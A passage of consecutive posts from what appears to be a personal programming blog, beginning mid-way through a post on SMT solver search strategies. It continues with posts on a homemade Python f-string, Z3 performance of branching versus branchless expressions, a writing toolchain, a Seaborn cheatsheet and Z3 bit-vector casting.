Formally, to say proof tree we need to restrict the tactics to not generate repeated goals (so we don’t have cycles).

Having then a single starting goal, the successive application of the tactics forms a tree.

We can extend this and have multiple starting goals in that case we will have an acyclic graph like described in [3]. (in [3] is more specific and refers to goals and tactics as states (of a proof) and rules of induction but they are the same idea).

With subgoal-reduction tactics, the graph is generated edge by edge; with ordering-based tactics, the graph is generated by multiple edges at time.

Note that the generation (or walking) of this graph is non-deterministic: why you would the solver choose to explore the edge/edges from one node/nodes instead of the other?

To make it deterministic we have a way to choose which exploration do and in which order. This is the search strategy based on a merit order.

Search strategy

In [3] it is introduced the notion of merit order, a relationship between every pair of nodes in the graph: $g_i$ ≼ $g_j$

This merit order could have different definitions:

$g_i$ ≼ $g_j$ if $i$ ≤ $j$ (a breadth first order)
$g_i$ ≼ $g_j$ if $c(g_i)$ ≤ $c(g_j)$ for some cost function $c(n)$ ≥ $0$.
$g_i$ ≼ $g_j$ if $g_i$ is in a predecesor layer or level than $g_j$ ($g_i$ is better than $g_j$ because it required less applications of tactics)
$g_i$ ≼ $g_j$ if $g_i$ is in a successor layer than $g_j$ (a depth first order).

A search strategy could use the merit order to schedule which goal process next:

$g_i$ is processed before than any $g_i$ that has a worse merit than $g_i$ ($g_i$ ≼ $g_j$) and worse than any ancestor of $g_i$.
if $g_i$ is generated before than $g_j$ then $g_j$ or any of its ancestors has a worse merit than $g_i$.

A particular case is when the merit order is based on a cost function $c()$ and an heuristic function $h()$.

If $c(g_i)$ is the cost to reach $g_i$, then $h(g_i)$ estimates the additional cost that would take to go from $g_i$ to a trivial goal, one that is ⊤ (trivially sat) or ⊥ (trivially unsat).

The estimation can be seen as how much more will take to get to a final resolution.

$h()$ may under-estimate the additional cost or over-estimate it.

Tacticals

While tactics operate at the goal set level, tacticals operate one level higher: they operate with the tactics.

Think in tacticals as functions that receive tactics as their arguments.

repeat(t) is a tactical that takes a tactic and applies it several times until the tactic fails so repeat(elim) applies elim over and over until no other change happens.

then(t1, t2) applies t1 and if it didn’t fail applies t2.

orelse(t1, t2) applies t1 and if it failed applies t2.

This is a handy way to build the strategy to solve the problem in terms of tacticals and tactics.

Probes or formula measures

A probe or formula measure is a tactic that does not modify the goal set but it fails or not based on attributes or properties of the current goal set.

A probe could count how many variables a formula has or if the inequations follow are written in a particular way.

Based on a probe one tactic or other could be applied next.

For example orelse(then(c1, t1), t2) applies t1 if the probe (or check) c1 didn’t fail otherwise t2 is applied.

Reasoning engines

At the end the goals needs to be translated into a suitable format and sent to the reasoning engine for the final resolution.

For example each inequation can be seen as a propositional variable and the problem gets reduced to a SAT problem.

$$ G_2: [ b + 1 < 0, b > 3] \\ G_3: [ b + 1 > 0, b > 3] \\ \\ G_2 → C_2: [ p ∧ q] \\ G_3 → C_3: [ r ∧ q] $$

Notice that the conversion was not 1-to-1: $p$ and $r$ could be $true$ when the original inequations $b + 1 < 0$ and $b + 1 > 0$ cannot.

The solver then needs to verify if the solution found by the engine is corrects and make the proper changes to the formulation and try again.

And this is expensive. That’s the idea behind the strategy: make the search space smaller and try to make the conversion from the arbitrary initial theory to the theory supported by the engine.

Reasoning engines as tactics

If the solver supports more than one reasoning engine, the engine could be seen as a tactic and which engine to use being determined by the strategy like any other tactic.

Strategies

Finally!

A strategy is a series of tacticals and tactics (including the reasoning engine and possibly probes) that combined hope to solve a particular problem: determine if it is sat and get a model of it or it is unsat and get a proof of why.

The search space is in general infinite so it is not possible to solve any arbitrary problem but a strategy may guide the search process into the direction that hopefully will lead to a solution (sat or unsat) in a reasonable time using a reasonable amount of resources.

The search space is generated and explored on each tactic application: multiple edges at time when a ordered-based tactic is used, a single edge when it is a subgoal-reduction tactic.

Adding new goals expands the active search space; removing goals not only reduces the space but also prevents future tactics to readd the removed goal offering a redundancy control.

The application of the tactics is nondeterministic and an well founded order must prioritize which tactic next.

This is where a merit order, a cost function and a heuristic function play a role to prioritize.

References

[0] Moura, L.D., & Passmore, G. (2013). The Strategy Challenge in SMT Solving. Automated Reasoning and Mathematics.

[1] Bonacina, Maria Paola. (1999). A Taxonomy of Theorem-Proving Strategies. 10.1007/3-540-48317-9_3.

[2] Bonacina, Maria Paola & Hsiang, Jieh. (1998). On the Modelling of Search in Theorem Proving — Towards a Theory of Strategy Analysis. Information and Computation. 147. 171-208. 10.1006/inco.1998.2739.

[3] Kowalski, R. (2012). 10 Search Strategies for Theorem-Proving.

Home Made Python F-String

2021-07-11T00:00:00+00:00

Python 3.6 introduced the so called f-strings: literal strings that support formatting from the variable in the local context.

Before 3.6 you would to do something like this:

>>> x = 11
>>> y = 22
>>> "x={x} y={y}".format(x=x, y=y)
'x=11 y=22'

But with the f-strings we can remove the bureaucratic call to format:

>>> f"x={x} y={y}"
'x=11 y=22'

A few days ago Yurichev posted: could we achieve a similar feature but without using the f-strings?.

Challenge accepted.

The trick is to realize that even if we don’t pass a variable explicitly to a function, the function still have access it through the Python’s stack.

So we can write something like this:

>>> import inspect
>>> def level2():
...     stack = inspect.stack()
...     level2_var = 2
...     return {c.function: c.frame.f_locals for c in stack}

>>> def level1():
...     level1_var = 1
...     return level2()

>>> level1()
{'<module>': {<...>
              'level1': <function level1 at <...>>,
              'level2': <function level2 at <...>>,
              'x': 11,
              'y': 22},
 'level1': {'level1_var': 1},
 'level2': {'level2_var': 2,
            'stack': [<...>]}}

From level2 we can access level1’s variables and even further.

The other part of the challenge consist in to parse strings like "x={x} x^2={x**2}". I played a lot with Python’s string.Formatter when I implemented xview, a hexdump-like utility for iasm an interactive assembler.

In particular, the get_field method of string.Formatter gets called each time the parser finds a "{x}".

The idea is to eval x in the context of the caller’s frame: this will not only resolve variables like x but also expressions like x**2.

Combining all together:

>>> from string import Formatter
>>> class LocalsFormatter(Formatter):
...     def __init__(self, caller_ix=1):
...         super().__init__()
...         self._caller_ix = caller_ix
...
...     def vformat(self, fmt, args, kargs):
...         stack = inspect.stack()
...         args, kargs = self._augment_eval_context(stack, args, kargs)
...         return super().vformat(fmt, args, kargs)
...
...     def format(self, fmt, *args, **kargs):
...         stack = inspect.stack()
...         args, kargs = self._augment_eval_context(stack, args, kargs)
...         return super().vformat(fmt, args, kargs)
...
...     def _augment_eval_context(self, stack, args, kargs):
...         caller = stack[self._caller_ix]
...         frame = caller.frame
...         ctx = dict(frame.f_locals) # ensure a copy
...         ctx.update(kargs)
...         return args, ctx
...
...     def get_field(self, field_name, args, kargs):
...         val = eval(field_name, None, kargs)
...         return val, field_name

caller_ix is the index of the frame in the stack that we want to use as the context for the evaluation.

caller_ix == 1 means use the caller of format() or vformat(); caller_ix == 2 means use the caller of the caller of format()/vformat()

string.Formatter implements format calling vformat but that would introduces another frame in the stack shifting the caller index.

To simplify I redefined format and vformat to get the stack from their point of view and only then call other methods.

Examples

Let’s see how it works:

>>> def printf(fmt):
...     f = LocalsFormatter(caller_ix=2)
...     print(f.format(fmt))

>>> x=123
>>> y=456
>>> printf("{x+y}")
579

This also includes calling methods and functions:

>>> l=[1,2,3]
>>> printf("{l} {l.__len__()} {len(l)}")
[1, 2, 3] 3 3

Closures should work too:

>>> def outter():
...     outter_y = 1
...     def inner():
...         nonlocal outter_y
...         printf("{outter_y}")
...     inner()

>>> outter()
1

I thought that I could cache the result of an expression and reuse it if it was used in the format string more than once.

But then I realize that would not work in some edge-cases:

Considere the following edge-case using a closure and notice how inc() is called three times.

>>> def counter(start):
...     start -= 1
...     def inc():
...         nonlocal start
...         start += 1
...         return start
...     return inc

>>> inc = counter(0)
>>> printf("{inc()}, {inc()}, {inc()}")
0, 1, 2

LocalsFormatter can also use the user-provided variables that will take precedence:

>>> def printf(fmt, *args, **kargs):
...     f = LocalsFormatter(caller_ix=2)
...     print(f.vformat(fmt, args, kargs))

>>> x = 42
>>> y = 33
>>> printf("x={x} y={y}", x=27)
x=27 y=33

If a variable cannot be found, an error will be shown

>>> def inner():
...     printf("{outter_y}")

>>> def outter():
...     outter_y = 1
...     inner()

>>> outter()
<...>
NameError: name 'outter_y' is not defined

Performance of ITE Expressions (incomplete)

2021-06-14T00:00:00+00:00

A branch is an expensive operation even in modern CPUs because the computer will know which of the paths is taken only in the latest stages of the CPU pipeline.

In the meantime, the CPU stalls.

Modern CPUs use branch prediction, speculative execution and instruction reordering to minimize the impact of a branch.

They do a good job but still a branch is potentially expensive so they are replaced by branchless variants.

If-Then-Else or ITE for short, are symbolic expression that denotes a value chosen from two possible values based on a condition. These are the symbolic branch.

Naturally we could rewrite a symbolic ITE with a symbolic branchless expression.

The question is: which is better for a solver like Z3? Which makes the SMT/SAT solver faster?

After two weeks working on this post I still don’t have an answer but at least I know some unknowns.

Z3 `If-Then-Else`

In Z3 we use z3.If to build such symbolic expressions.

Take for example the following Python function xtime:

>>> def xtime(a):
...     thenval = (((a << 1) ^ 0x1B) & 0xFF)
...     elseval = (a << 1)
...     condval = (a & 0x80)
...     return thenval if condval else elseval

Symbolically, we could rewrite it as follows:

>>> from z3 import If, BitVec, simplify
>>> def xtime_branch(a):
...     thenval = (((a << 1) ^ 0x1B) & 0xFF)
...     elseval = (a << 1)
...     condval = (a & 0x80)
...     return If(condval != 0, thenval, elseval)

Remember that in Python, the (thenval) if (condval) else (elseval) is evaluated at runtime but in Z3 we cannot evaluate anything.

So we need to model the fact that the output of xtime it may be thenval or elseval, depending of the condition.

Let’s see what is the result of xtime_branch

>>> T = BitVec('T', 8)

>>> xtime_branch(T)
If(T & 128 != 0, (T << 1 ^ 27) & 255, T << 1)

>>> simplify(xtime_branch(T))
If(Extract(7, 7, T) == 0,
   Concat(Extract(6, 0, T), 0),
   Concat(Extract(6, 4, T),
          ~Extract(3, 2, T),
          Extract(1, 1, T),
          ~Extract(0, 0, T),
          1))

Before continuing, I would like to simplify xtime_branch a little:

the input are always an 8 bits, so the x & 0xFF mask is not needed
the thenval can reuse the elseval

>>> def xtime_branch(a):
...     elseval = (a << 1)
...     thenval = (elseval ^ 0x1B)
...     condval = (a & 0x80)
...     return If(condval != 0, thenval, elseval)

>>> xtime_branch(T)
If(T & 128 != 0, T << 1 ^ 27, T << 1)

>>> simplify(xtime_branch(T))
If(Extract(7, 7, T) == 0,
   Concat(Extract(6, 0, T), 0),
   Concat(Extract(6, 4, T),
          ~Extract(3, 2, T),
          Extract(1, 1, T),
          ~Extract(0, 0, T),
          1))

As you see, this xtime_branch and the previous one yield the same result after applying z3.simplify.

However I’m going to keep those simplifications explicit in xtime_branch for further optimizations later.

Branchless ITE

The (a & 0x80) != 0 condition is equivalent to (a >> 7) != 0.

The key point to notice is that when (a & 0x80) != 0 then a >> 7 == 1; when (a & 0x80) == 0 then a >> 7 == 0.

With this single bit boolean we can get rid of the If doing a branchless bithack

>>> def xtime_branchless(a):
...     elseval = (a << 1)
...     thenval = (elseval ^ 0x1B)
...     condval = (a >> 7) # it can be 0 or 1
...     return elseval ^ ((thenval ^ elseval) & -(condval))

>>> xtime_branchless(T)
T << 1 ^ (T << 1 ^ 27 ^ T << 1) & -(T >> 7)

>>> simplify(xtime_branchless(T))
Concat(Extract(6, 4, T),
       Extract(3, 2, T) ^ Extract(4, 3, 255*(T >> 7)),
       Extract(1, 1, T),
       Extract(0, 0, T) ^
       Extract(1, 1, 3*Extract(1, 0, T >> 7)),
       Extract(0, 0, T >> 7))

We don’t longer have an ITE expression!

But there is a catch…

Bit broadcasting

The catch is that we have some multiplications:

255*(T >> 7)
3*Extract(1, 0, T >> 7)

These come from -(condval).

When condval is 0, then -(condval) is 0, represented as eight 0 bits, the ((thenval ^ elseval) & -(condval)) goes to 0 and the expression reduces to the left part of the main xor: elseval.

When condval is 1, then -(condval) is 1, represented as eight 1 bits because in Z3 (and it a lot of other languages), the negative numbers are in 2-complement representation.

This 1 bits mask allows the right side to be xor’d with the left side elseval ^ thenval ^ elseval that reduces to thenval.

This why the branchless bithack works and more over, from where those multiplications come: from the 2-complement.

z3.simplify was not smart enough to broadcasting the least significant bit of a >> 7.

We could do it better broadcasting the most significant bit of a and build the condition mask directly:

>>> from z3 import Extract, Concat
>>> def xtime_broadcasted(a):
...     elseval = (a << 1)
...     thenval = (elseval ^ 0x1B)
...     msb = Extract(7, 7, a)
...     condmask = Concat(*([msb] * 8)) # broadcast a single bit to 8 bits
...     return elseval ^ ((thenval ^ elseval) & condmask)

>>> xtime_broadcasted(T)
T << 1 ^
(T << 1 ^ 27 ^ T << 1) &
Concat(Concat(Concat(Concat(Concat(Concat(Concat(Extract(7,
                                        7,
                                        T),
                                        Extract(7, 7, T)),
                                        Extract(7, 7, T)),
                                   Extract(7, 7, T)),
                            Extract(7, 7, T)),
                     Extract(7, 7, T)),
              Extract(7, 7, T)),
       Extract(7, 7, T))

>>> simplify(xtime_broadcasted(T))
Concat(Extract(6, 4, T),
       Extract(3, 3, T) ^ Extract(7, 7, T),
       Extract(2, 2, T) ^ Extract(7, 7, T),
       Extract(1, 1, T),
       Extract(0, 0, T) ^ Extract(7, 7, T),
       Extract(7, 7, T))

Ugly but once simplified with z3.simplify, xtime_broadcasted seems to be quite simple: only bit picking and xor.

One last hack

xtime_broadcasted can be simplified further canceling the elseval from thenval ^ elseval because thenval == elseval & 0x1B

So elseval ^ ((thenval ^ elseval) & condmask) reduces to elseval ^ (0x1B & condmask):

>>> def xtime_cancelled(a):
...     elseval = (a << 1)
...     msb = Extract(7, 7, a)
...     condmask = Concat(*([msb] * 8)) # broadcast a single bit to 8 bits
...     return elseval ^ (0x1B & condmask)

>>> xtime_cancelled(T)
T << 1 ^
27 &
Concat(Concat(Concat(Concat(Concat(Concat(Concat(Extract(7,
                                        7,
                                        T),
                                        Extract(7, 7, T)),
                                        Extract(7, 7, T)),
                                   Extract(7, 7, T)),
                            Extract(7, 7, T)),
                     Extract(7, 7, T)),
              Extract(7, 7, T)),
       Extract(7, 7, T))

>>> simplify(xtime_cancelled(T))
Concat(Extract(6, 4, T),
       Extract(3, 3, T) ^ Extract(7, 7, T),
       Extract(2, 2, T) ^ Extract(7, 7, T),
       Extract(1, 1, T),
       Extract(0, 0, T) ^ Extract(7, 7, T),
       Extract(7, 7, T))

Note how z3.simplify was smart enough to do the cancellation automatically by itself: once simplified by Z3, xtime_broadcasted and xtime_cancelled are the same.

Correctness of `xtime*`

Let’s verify that we didn’t screw up.

The search space is only $2^8$ so we can prove if the xtime_X works comparing it with the original xtime for all the possible inputs.

>>> from z3 import Solver, And, Or, BitVec
>>> a = BitVec('a', 8)
>>> solver = Solver()

>>> full_search = [And(a == i, xtime_branch(a) == xtime(i)) for i in range(256)]
>>> solver.check(Or(*full_search))
sat

>>> full_search = [And(a == i, xtime_branchless(a) == xtime(i)) for i in range(256)]
>>> solver.check(Or(*full_search))
sat

>>> full_search = [And(a == i, xtime_cancelled(a) == xtime(i)) for i in range(256)]
>>> solver.check(Or(*full_search))
sat

>>> full_search = [And(a == i, xtime_broadcasted(a) == xtime(i)) for i in range(256)]
>>> solver.check(Or(*full_search))
sat

Everything is in order.

Experiments setup

The 4 functions were tested in 4 different experiments or scenarios:

null_experiment: an 8-bit vector and a simple bitmask operation on it without using xtime*. Intended to see the performance of Z3 in a trivial case.
single_bitvec_experiment: a call to xtime* on an 8-bit vector and the verification of the results testing 256 possible values.
mix_two_bitvec_experiment: call xtime* twice on two 8-bit vectors, perform a few bitmask operations on them and verify the correctness doing a full search of the 65536 possible values.
encrypt_rounds_experiment: call xtime* several times doing several bitmask and shift operations on 32 8-bit vectors. This represents a simplified version of a single round of the AES cipher.

For each experiment, each xtime* function was tested using the simplified and not-simplified variants.

Each experiment consisted in create and setup a new z3.Solver with its own z3.Context and measure the time that it took checking the model: the check-elapsed time.

Because Z3 is not deterministic, we ran each experiment at least 20 times with a maximum of 100 times and collected not only the check-elapsed time but also the statistics of the solver provided by Z3 with solver.statistics().

The null_experiment actually does not use the xtime* function and it is used to have an idea of how small the check-elapsed time can be.

Experiments results

The first thing that we can see is how each xtime* performed in each experiment.

Mean check-elapsed time (y axis) per xtime* function (x axis). Each subplot corresponds to a different experiment.

A few remarks:

The null_experiment shows a quite stable plot regardless of the xtime* used as expected.
For single_bitvec_experiment and mix_two_bitvec_experiment there is little difference if xtime* was simplified or not but it really made a difference for the encrypt_rounds_experiment.
The ITE expression of xtime_branch performed better than the others in single_bitvec_experiment but it was as twice as slow in mix_two_bitvec_experiment. Why?
The encrypt_rounds_experiment shows some weird results: a simplified xtime_branchless is incredibly slow while the non-simplified version is incredibly fast, even faster than the rest.
Moreover, in encrypt_rounds_experiment the simplified xtime_broadcasted and xtime_cancelled have different performance but as we shown before, they are the same!

This last item makes me thing, are we seeing an outlier affecting the mean?

We can rule that out measuring the minimum instead of the mean.

Minimum check-elapsed time (y axis) per xtime* function (x axis). Each subplot corresponds to a different experiment. Note how the plot has the same shape than before.

Nope, same thing.

Could be this discrepancy be just by luck? We need a measure independent from the time and Z3 tracks several statistics for that.

It’s unclear what they mean however.

Exploring a little it seems that there is a relationship between 'added eqs' and the elapsed time.

Relation and linear regression between the time that check() took and the amount of added eqs. They follow almost a perfect linear relationship.

Let’s see how many eqs were added in the encrypt_rounds_experiment:

Mean added eqs (y axis) per xtime* function (x axis). Each subplot corresponds to a different experiment. Note how the plot has the same shape than before showing a strong relationship between added eqs and the check-elapsed time.

Same shape that before: for some reason Z3 added more eqs in xtime_broadcasted than in xtime_cancelled (both simplified) even if both are the same Z3 expressions.

So the discrepancy is not due the noise: Z3 indeed saw these two as different things.

Code and results

Conclusions

None.

I’m still missing a lot of pieces of this puzzle.

Document Building: from static web blogs to textbooks

2021-06-12T00:00:00+00:00

I’ve being writing for a long time. I’m far from being a good writer but having the consistency to write at least a blog post every month gave me more expressive power.

Being a non-English native speaker, that also put me in an uncomfortable position –out of the confort zone– but looking back, even with all my mistakes, I really improved.

I’m using a bunch of different technologies to assist me:

the blog site is written in Markdown and turned into a static web site with Jekyll.
the C/C++ lectures that I give are made with Latex/Beamer.
the C/C++ textbook is also in Markdown but it’s compiled into a PDF using Pandoc and Foliant.

And while those have been incredible powerful, I hit the limitations of them in time to time.

This writeup is meant to brainstorm and design a new way to work.

I don’t want to have a single tool to do everything. I want to be more humble and less ambitious and diagram a pipeline flexible enough to help me to simplify and speed up my writings.

Mathematics

Some of my posts are about cryptography, some about logic and certainly I’m going to explore more related fields in the future like quantum computing, mathematics and physics.

All of these posts have mathematical formulas and symbols.

Having the ability to write formulas in Markdown is super helpful (for me). I use inline formulas, like $E = mc^2$, and block-level formulas:

$$K_{1,1} p_{1,1} + K_{1,2} p_{1,2} = c_{1,1} \quad(\textrm{mod } m) \\ K_{2,1} p_{1,1} + K_{2,2} p_{1,2} = c_{1,2} \quad(\textrm{mod } m) \\ K_{1,1} p_{2,1} + K_{1,2} p_{2,2} = c_{2,1} \quad(\textrm{mod } m) \\ K_{2,1} p_{2,1} + K_{2,2} p_{2,2} = c_{2,2} \quad(\textrm{mod } m) \\$$

Behind the scenes these are written as:

The downside is that my Markdown editor believes that those pieces of text are in Markdown notation so the highlighted syntax goes crazy.

It would be nicer to use Markdown’s code-fenced blocks to make the Markdown engine (and editor) aware of them and turn them into beautiful math symbols later.

Something like:

Neither Jekyll or Pandoc have something like this, but in Pandoc I could write some Pandoc filter to turn a Markdown code-fenced block tagged as {.math} into Tex/Latex.

And what it means into Tex/Latex exactly is not trivial.

For my blog I use MathJax to render Tex/Latex in the browser; for my lectures/textbook, I use a Tex/Latex engine like pdflatex to get a PDF.

But how to do it using a single pipeline, I dunno.

Macros

While Tex/Latex makes beautiful documents, it is not the best language.

Typing \hat{R} to get $\hat{R}$ gets quickly annoying if you have to write $\hat{R}$ several times.

In this case I use Tex/Latex macros to write \R instead of \hat{R}.

But what about other non-Tex stuff?

I write a lot about programming and it’s handy to show code with highlighted syntax:

def foo():
  pass

void bar(int i) {
}

Those were made with Markdown’s fenced-code blocks where you tag the block with the language to you are writing.

Jekyll doesn’t, but Pandoc supports tagged inline code.

Just type {.python} after an inline and that’s it but as you may imagine, doing it for each inline code is tedious.

Most of my posts talks about a single language and my textbook is mostly about C/C++ so why not make all the inline code highlighted with a particular syntax by default?

Once again, Pandoc’s filters fit perfect for the job.

Fixing syntax highlighting

⊕ pwndbg> pdisass &main ► 0x1044c <main> push {fp, lr} 0x10450 <main+4> add fp, sp, #4 0x10454 <main+8> sub sp, sp, #0x50 0x10470 <main+36> bl #gets@plt <gets@plt>

For the blog, the code is highlighted with Rouge. It works like a charm but no without some sharp corners.

Its support for assembly is limited. I cannot blame it, there are a lot of assembly syntaxes out there!

A hack that I did was to run some Javascript to patch the HTML in runtime and add the missing CSS classes to the unrecognized mnemonics.

var xpath = ".//div[contains(@class,'language-nasm')]//span[(((text() = 'blt') or (text() = 'b'))]";
var elems_iter = document.evaluate(xpath, document, null, XPathResult.ANY_TYPE, null);

var elems = [];
var el = elems_iter.iterateNext();
while (el) {
    elems.push(el);
    el = elems_iter.iterateNext();
}
for (var i = 0; i < elems.length; i++) {
    var el = elems[i];
    el.classList.add('k'); // keyword
    el.classList.remove('n'); // noun
}

I could do the same with Pandoc that uses Pygments for the highlighting. I’ve already have some experience with it from my interactive assembler iasm so it is factible.

Certainly is going to be useful for the textbook.

Preprocessing

You cannot set any layout in Markdown: put some image in the right margin, make a text an epigraph or a side-note.

It’s on purpose: Markdown wants to be simple, in contrast with HTML. But in some cases it too simple.

Jekyll allows you to pass HTML code along the Markdown. In my blog I use instead Liquid tags to make my live a little easier.

This allows me not only to avoid writing HTML but also performing arbitrary operations like creating images on the fly (see more later).

In my C/C++ lectures written in Tex/Latex, I required to generate different flavors of slides.

Slides for presenting in class with little text but a lot of diagrams; slides for reading with a lot of text, the handout for the students.

With the pandemic, I switched to virtual classes (no news here). Sharing my screen allowed me to draw over the slides. They have incomplete diagrams that I complete interactively with the students during the lecture.

Make this within Tex/Latex is possible but it is a pain.

So I resorted to use a preprocessor. Similar to Liquid I used Jinja2

While all of these could be done, in theory, with Pandoc filters, I think that having a preprocessor and template engine like Jinja2 can be quite handy.

Images and diagrams

⊕

I make a lot of diagrams, state machines and plots but I try to not make them by hand.

Tools that requires a human to do the layout are a waste of time (there are exceptions like me Seaborn Cheatsheet).

Instead I prefer to describe the diagram in text and let a program to do the image and layout for me.

For a lot of them I use PlantUML. Despite the name, it is for more than UML.

For simpler block diagrams I use Ditaa and for graph-like I have the good old Graphviz.

⊕

So far I’m using these tools for by blog so I write the PlantUML/Ditaa/Graphviz diagrams (text) inside a Liquid tag in the same Markdown.

During the building, the correct tool is called and the image is generated while the Liquid tag is replaced by some HTML <img> link.

For my C/C++ textbook, I use a Foliant plugin that does the same but instead of Liquid tags, Foliant uses HTML tags as hook points to call third party plugins.

Probably I’m going to use Jinja2 for these too. I’m not convinced of using HTML tags/hooks or Pandoc filters here.

Related to this, make Seaborn and Matplotlib plots from the Markdown directly would be nice too.

Interactive diagrams

This applies only to my blog and Javascript is the thing that brings life anything. From simple Venn diagrams to arbitrary complex D3 diagrams.

But I want those beautiful diagrams be part of my non-interactive lectures and textbook.

How to do it is still an open question.

Assembly

And not, I’m not talking about ARM.

All the Markdown files are meant to be integrated in some meaningful way. Assembled. Linked.

For the blog, Jekyll generates an independent web page for each post. It just put each in a file that follows the year/month/day/post-name.html pattern name.

A textbook is more complicated however.

Foliant joins together all the Markdown files and call Pandoc once to generate a single Tex/Latex file and from there, a single PDF.

This doesn’t scale.

It would be much efficient to generate a Tex/Latex per Markdown file, a PDF per file and join them together at the end.

Like in a C/C++ compilation schema, you compile each unit separately and link them at the end: if you have to modify a single file, you just need to compile that one only and not the whole thing.

Foliant does this on purpose and for a good reason: when you write a textbook you want to have links and references to other parts including parts of other Markdown files.

To resolve them, all the Markdown files need to be processed as a single unit.

To have a separated unit compilation, I’m going to figure out how to resolve the links and references at the Tex/Latex level.

A simple cat *.pdf > final.pdf will not work.

Post-processing

A few things that I do manually:

optimize the size of the PNG files with optipng
check the grammar with LanguageTool
review broken links (this is not even automated!)

Some will still be manual (like checking the grammar) but the rest should be part of the pipeline.

The review of any broken link could be done at the Pandoc filter level for example.

Pipeline

There are a lot of tools to call in sequence and to avoid recompilation, a tool should not be called if its input didn’t change since the last time it was called.

I don’t want to generate the same HTML page if the Markdown didn’t change.

Jekyll does a relative good thing here but Foliant doesn’t.

I think that a plain Makefile should work. May be something on top to visualize the pipeline?

And the toolchain should be in its own Docker.

Final thoughts

Rewrite my blog, lectures and the work-in-progress textbook is not going to be trivial.

There are a lot of gaps and problems without solution but I bet that this is going to improve my workflow.

So far, this is want I think it may work:

Fingers crossed.

Seaborn Cheatsheet

2021-06-05T00:00:00+00:00

Plotting data was always for me a weak point: it always took me a lot of time to make the plots and graphs, reading the documentation, googling how to do one particular tweak and things like that.

So I challenge myself: could I build a cheatsheet about plotting?

Yes, yes I could.

Seaborn is a very simple but powerful plotting library on top of matplotlib designed for statistical analysis.

Quick links: PDF (no bg), PDF (bg), SVG (no bg), SVG (bg) .

Instructions

Each rectangle list the parameters that take the plot functions. The bold labels inside, like hist and violin, are the names of the plots.

The names are followed by a list of data parameter, also in bold. These are used to tell the function from where take the data. Some functions may take more parameters additionally, so they are in between square brakets.

The rest of the parameters listed are optional. Sometimes the cheatsheet shows the type of the parameter, sometimes the range and in others just a few possible values.

From all of that you can write Python code like the following that plots a histogram for the univariate "age" in the given Pandas data frame. The extra kde=True plots a kernel density estimation on top.

>>> import seaborn as sns
>>> sns.histplot(data=df, x="age", kde=True)

Nested rectangles means that the outer rectangle includes the parameters listed in the inner rectangle but not the other way around.

The dashed rectangles means the union of: the parameters are shared across.

For example bar and point accepts the parameters of box and line.

Some parameters are followed by a comment in italics for a quick explanation of the parameters.

The cheatsheet has a lot of small plots as visual examples. Some of them are linked with a line with a plot function (rectangle) and some of them are linked with a dashed line to a particular setting.

For example in the cheatsheet there are 4 examples of hist showing the different results based on element='step', multiple='stack' and multiple='dodge'.

The fourth example is linked to the rectangle for the hist function (bivariate) and not linked to a particular setting.

The colors also have a meaning: plot functions of the same color belongs to the same Seaborn module.

Seaborn has –broadly speaking– 2 groups of functions:

the ones that work at the axes level.
the ones that creates their own figure and axes, the figure level (or module level)

The former are the core of Seaborn. Call them on the same axes to do a combination (an overlay) of different plots.

The latter are however simpler. They just call the axes level function based on the kind= parameter.

The advantage of the figure level functions is that they can create a matrix of plots with the row= and col= parameters.

The colors represent these: red for uni/bivariate distribution plots (displot), blue for relationship plots (relplot) and green for distribution within categories plots (catplot).

The violet group is for regressions and does not follow exactly the pattern above.

Casting, broadcasting, LUT and bitwise ops

2021-05-26T00:00:00+00:00

Z3 has a few basic symbolic operation over bit vectors.

But some others are missing (or at least I couldn’t find them).

Cast bit vectors to change the vector width, like when you want to upcast or promote a uint8_t to uint16_t, is one of them.

Arbitrary bitwise operations is another one. Z3 provides the basic And, Or and Xor but arbitrary functions needs to be defined and applied by hand.

And about function definitions, Z3 does not have a simple way to define a function from a lookup table (LUT) or truth table.

A much tricker that I thought!

This post is a kind-of sequel of Verifying some Bithacks post and prequel of some future posts.

Casting

Z3 does not provide a mechanism to change the size of a bit vector (or at least I didn’t find one).

The following is a quite simple cast function ala C – however it is far from being a fully C/C++ compliance cast including its UBs.

>>> from z3 import BitVecVal, Concat, Extract, simplify

>>> def cast(bv, type):
...     if type[0] not in ('i', 'u'):
...         raise ValueError(f"Not supported cast type '{type}'")
...
...     signed = type[0] == 'i'
...     new_sz = int(type[1:])
...
...     sz = bv.size()
...     if sz < new_sz:
...         if signed:
...             sign_bit = Extract(sz-1, sz-1, bv)
...             high = Concat(*[sign_bit] * (new_sz - sz))
...         else:
...             # zero extended
...             high = BitVecVal(0, (new_sz - sz))
...
...         return Concat(high, bv)
...
...     else:
...         # downcast
...         return Extract(new_sz-1, 0, bv)

Casting to a larger bit vector may be done zero-extended (for unsigned) or sign-extended (for signed):

>>> i4 = BitVecVal(0b1011, 4)
>>> i4
11

>>> simplify(cast(i4, 'u8'))
11
>>> simplify(cast(i4, 'i8'))
251

>>> bin(251)
'0b11111011'

When the target size is smaller, it is a down-cast and the higher bits are lost:

>>> simplify(cast(i4, 'u2'))
3

>>> simplify(cast(i4, 'i2'))
3

Not other casting are implemented:

>>> simplify(cast(i4, 'foo'))
<...>
ValueError: Not supported cast type 'foo'

Broadcasting

For the signed upper-cast, the cast function does a broadcasting: it takes the most significant bit, the sign bit, and extends it to fulfill the wider bit vector.

The sign bit is repeated N times – it is broadcasted:

...    sign_bit = Extract(sz-1, sz-1, bv)
...    high = Concat(*[sign_bit] * (new_sz - sz))

Bitwise operation

Another handy algorithm consists in applying a function bit by bit:

>>> def bitwise(fun, *bvs):
...     if not bvs:
...         raise ValueError("No bit vector was provided")
...
...     sz = bvs[0].size()
...     if any(bv.size() != sz for bv in bvs):
...         raise TypeError(f"Bit vector size mismatch, not all are {sz} bits.")
...
...     index = range(sz-1, -1, -1) # from MSB to LSB
...     applied = [fun(*[Extract(i, i, bv) for bv in bvs]) for i in index]
...     return Concat(*applied)

bitwise can operate over symbolic functions:

>>> from z3 import Function, BitVecSort

>>> BSort = BitVecSort(1)
>>> zor = Function('zor', BSort, BSort, BSort)

>>> simplify(bitwise(zor, BitVecVal(0b1011, 4), BitVecVal(0b0010, 4)))
Concat(zor(1, 0), zor(0, 0), zor(1, 1), zor(1, 0))

But it can operate over concrete (Python) functions.

Concrete function definition

If the function is known, we will have to add a constrain per input/output pair to constrain the symbolic function.

Something like:

... solver.add([
...     zor(0, 0) == 1,
...     zor(1, 0) == 1,
...     zor(0, 1) == 0,
...     zor(1, 1) == 1,
... ])

But that requires an exponential amount of constrains, $2^{arity}$ to be precise.

A more compact representation would be a lookup table (LUT) or truth table.

zor LUT:
    0 0 -> 1
    1 0 -> 1
    0 1 -> 0
    1 1 -> 1

